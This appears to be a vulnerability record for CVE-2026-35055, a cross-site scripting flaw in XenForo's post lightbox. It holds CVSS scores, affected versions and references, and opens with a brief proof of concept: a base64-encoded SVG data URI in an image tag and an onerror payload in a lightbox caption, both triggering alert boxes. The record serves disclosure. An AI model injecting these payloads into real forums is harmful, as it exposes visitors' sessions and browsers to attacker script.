CVE-2026-35055

<!-- XenForo Lightbox XSS PoC Concept --> <!-- Attacker injects payload into a post --> [IMG]data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD48L3N2Zz4=[/IMG] <!-- Or injecting into image metadata/caption fields --> <a href="image.jpg" data-lightbox="gallery" data-title="<img src=x onerror=alert('XSS')>">View Image</a>

{"cve": {"id": "CVE-2026-35055", "sourceIdentifier": "[email protected]", "published": "2026-04-01T01:16:41.397", "lastModified": "2026-04-01T18:55:13.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XenForo before 2.3.9 and before 2.2.18 is vulnerable to cross-site scripting (XSS) related to lightbox usage in posts. An attacker can inject malicious scripts that execute when users interact with post content displayed in the lightbox."}, {"lang": "es", "value": "XenForo anterior a 2.3.9 y anterior a 2.2.18 es vulnerable a cross-site scripting (XSS) relacionado con el uso de lightbox en publicaciones. Un atacante puede inyectar scripts maliciosos que se ejecutan cuando los usuarios interactúan con el contenido de la publicación mostrado en el lightbox."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.18", "matchCriteriaId": "78F0F9B0-9777-4266-83FF-74BEF672AAE8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.3.9", "matchCriteriaId": "F317C8A1-B2B0-4C3C-AFEE-8B1050F38744"}]}]}], "references": [{"url": "https://www.vulncheck.com/advisories/xenforo-cross-site-scripting-via-lightbox-in-posts", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://xenforo.com/community/threads/xenforo-2-3-9-inc-xfmg-2-2-18-released-security-fix.235659/", "source": "[email protected]", "tags": ["Release Notes"]}]}}